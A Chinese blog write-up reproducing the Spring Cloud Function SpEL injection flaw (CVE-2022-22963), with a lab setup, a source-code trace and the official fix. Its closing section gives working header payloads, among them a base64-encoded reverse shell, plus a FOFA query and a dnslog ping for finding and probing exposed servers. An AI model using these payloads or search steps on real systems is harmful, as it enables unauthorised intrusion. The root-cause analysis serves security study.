Spring Cloud Function(SpEL)漏洞复现

1 漏洞描述

Spring Cloud Function是SpringBoot开发的一个Servless中间件(FAAS),支持基于SpEL的函数式动态路由。
Spring Cloud Function SpEL表达式注入漏洞, 由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中的“spring.cloud.function.routing-expression”参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,攻击者可利用该漏洞远程执行任意代码。
CVE编号:Cve-2022-22963

2.漏洞影响范围

受影响版本:
3.0.0.RELEASE <= Spring Cloud Function <= 3.1.6
Spring Cloud Function <= 3.2.2

不受影响版本:
Spring Cloud Function 3.1.7
Spring Cloud Function 3.2.3

3.复现过程

环境介绍:

JDK版本:jdk-17

漏洞环境地址:https://github.com/cckuailong/spring-cloud-function-SpEL-RCE

源项目地址:https://github.com/spring-cloud/spring-cloud-function/tree/main/spring-cloud-function-samples/function-sample-pojo(官方)

下载漏洞环境项目代码,压缩后使用IDEA打开(任意路由)
image

配置JDK环境:
image

image

查看pom.xml文件中的版本信息
image

Debug运行
image

打开浏览器访问 http://127.0.0.1:8080
image

这里使用的hackber 添加参数到HEADER中:
Name: spring.cloud.function.routing-expression
Value: T(java.lang.Runtime).getRuntime().exec("calc")
image

发送请求之后,命令成功执行
image

4.原理剖析

在官网的Github中给出了漏洞位置和相关测试的payload。
image

漏洞是出在SpringCloud Function的RoutingFunction功能上,其功能的目的本身就是为了微服务应运而生的,可以直接通过HTTP请求与单个的函数进行交互。

整个利用过程(源码分析):
image

这里我从原始请求部分开始分析漏洞给实现过程,已经下载了SpringCloud Function 3.2.0版本的源码文件:
3.2.0版本下载地址:https://codeload.github.com/spring-cloud/spring-cloud-function/zip/refs/tags/v3.2.0

打开项目文件:
image

进入到:/org/springframework/cloud/function/web/就开始从Mvc下面的FunctionController中的跟入:
image

程序获取到body中的参数,并且传入到processRequest()方法中
再mvc同级目录util中找到FunctionWebRequestProcessingHelper中的processRequest()方法。
image

程序将请求体内容和获取到的HEADERS一起组合成inputMessage,判断当前请求是否为RoutingFunction,并将inputMessage带入到FunctionInvocationWrapper.apply方法中。
在org/springframework/cloud/function/context/catalog/SimpleFunctionRegistry.java
找到相应的apply()方法。
image

Apply()方法又调用了doApply()方法
image

再doApply()方法中,经过判断之后,调用RoutingFunction的apply()方法
进入到:/org/springframework/cloud/function/context/config/RoutingFunction.java
找到对于的apply()方法:看到,该方法又调用了route()方法,
image

继续跟进route()方法
image

在该方法中会去判读input是否为 message的实例,function 是否为空,在这里判断了请求headers头中有没有spring.cloud.function.routing-expression参数
并将结果带入到this.functionFromExpression()方法中,查看方法
image

最终直接由SpelExpressionParser来解析,导致SpEL表达式注入。
整个逻辑中由于完全信任从最开始传入的header信息

5.修复方案

在官方最新的修补文件中,可以看到新增了headerEvalContext对象,该对象所对应的是使用了仅支持最基本功能的SimpleEvaluationContext。可以理解为只读访问的数据绑定属性, SpEL无法调用Java类对象或引用bean。
image

设置isViaHeader变量作为flag,在解析前判断spring.cloud.function.routing-expression的值是不是取自HTTP头,如果是的话就用SimpleEvaluationContext解析SpEL语句,不是来自外部输入时用StandardEvaluationContext解析。
image

6.扩展

POC:

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch a.txt")

EXP:
反弹shell:

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo, YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguMTIzLjYyLzQ0NDQgMD4mMQo=}|{base64,-d}|{bash,-i}")

测试如下:

首先在kali上面设置监听
image

再将shell进行BASE64编码,然后设置好请求数据包:
image

发送数据包之后,kali上成功的get shell
image

相关漏洞挖掘
这里我使用FOFA进行搜索语句如下:
app="vmware-SpringBoot-framework" && body="status=500"

使用ping 命令,然后再DNSLOG平台查看回应
payload:
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("ping 5h6kr9.dnslog.cn")

posted @ 2022-04-09 23:12  Satoris  阅读(126)  评论(0)    收藏  举报